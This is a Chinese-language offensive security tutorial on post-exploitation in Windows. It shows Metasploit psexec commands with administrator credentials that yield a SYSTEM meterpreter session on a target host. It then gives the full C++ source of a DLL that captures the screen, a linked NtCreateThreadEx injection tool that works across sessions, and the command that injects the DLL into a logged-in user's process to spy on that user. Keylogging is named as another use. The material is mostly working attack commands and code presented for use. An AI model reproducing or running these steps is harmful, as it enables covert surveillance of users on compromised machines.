Windows降權在後滲透中的運用
一、前言
本文介紹通過橫向移動獲取到了一個system的shell後降權對指定使用者進行螢幕截圖或鍵盤記錄
啟動msf
msfconsole msf > use exploit/windows/smb/psexec msf exploit(windows/smb/psexec) > set rhost 192.168.26.131 rhost => 192.168.26.131 msf exploit(windows/smb/psexec) > set smbuser administrator smbuser => administrator msf exploit(windows/smb/psexec) > set smbpass Abc123456 smbpass => Abc123456 msf exploit(windows/smb/psexec) > run
獲取到了一個meterpreter
通過橫向移動獲取的system許可權是不能直接對Windows線上使用者進行截圖的
二、 程序注入實現降權
這樣就可以進行截圖了,但是在某些場景不能獲取到一個meterpreter會話的時候就需要自己寫一個類似的功能
三、code
1、使用NtCreateThreadEx進行注入
- 注意: CreateRemoteThread不能跨會話注入所以要用NtCreateThreadEx
下載編譯該專案
https://github.com/theevilbit/injection/tree/master/InjectDLL/InjectDLL
2、注入時用到的dll
#include "stdafx.h" #include <windows.h> #include <tchar.h> #include <iostream> #include <stdio.h> #include <stdlib.h> #include <atlimage.h> int sc() { //獲取螢幕解析度 DEVMODE DevMode; EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &DevMode); DevMode.dmPelsWidth; DevMode.dmPelsHeight; int width = GetSystemMetrics(SM_CXFULLSCREEN);// 圖片寬度 int heigth = GetSystemMetrics(SM_CYFULLSCREEN);// 圖片高度 int xpos = 0;// 起始x座標 int ypos = 0;// 起始y座標 // 獲取視窗的裝置上下文(Device Contexts) HDC hdcWindow = GetDC(NULL); // 要截圖的視窗控制代碼,為空則全屏 // 獲取裝置相關資訊的尺寸大小 int nBitPerPixel = GetDeviceCaps(hdcWindow, BITSPIXEL); CImage image; // 建立影象,設定寬高,畫素 image.Create(width, heigth, nBitPerPixel); // 對指定的源裝置環境區域中的畫素進行位塊(bit_block)轉換 BitBlt( image.GetDC(),// 儲存到的目標 圖片物件 上下文 xpos, ypos,// 起始 x, y 座標 width, heigth,// 截圖寬高 hdcWindow,// 擷取物件的 上下文控制代碼 0, 0,// 指定源矩形區域左上角的 X, y 邏輯座標 SRCCOPY); // 釋放 DC控制代碼 ReleaseDC(NULL, hdcWindow); // 釋放圖片上下文 image.ReleaseDC(); // 將圖片以 BMP 的格式儲存到 F:\ScreenShot.bmp image.Save(L"1.bmp", Gdiplus::ImageFormatBMP); printf("ScreenShot save as 1.bmp"); return 0; } BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD dwReason, LPVOID lpvRevered) { switch (dwReason) { case DLL_PROCESS_ATTACH: sc(); //MessageBox(NULL, TEXT("Dll Inject Success!!!"), TEXT("info"), MB_OK);// 被程序載入時彈出MessageBox("Dll Inject Success!!!") break; case DLL_PROCESS_DETACH: //MessageBox(NULL, TEXT("Dll unInject Ok!!!"), TEXT("info"), MB_OK);// 被程序解除安裝時彈出MessageBox("Dll unInject Ok!!!") break; } return TRUE; }
ofollow,noindex" target="_blank">編譯好的在這裡 x64.zip
將x64.DLL放到c:\1.dll,system許可權執行
c:\x64.exe calc.exe(使用者程序) c:\\1.dll 2
效果如下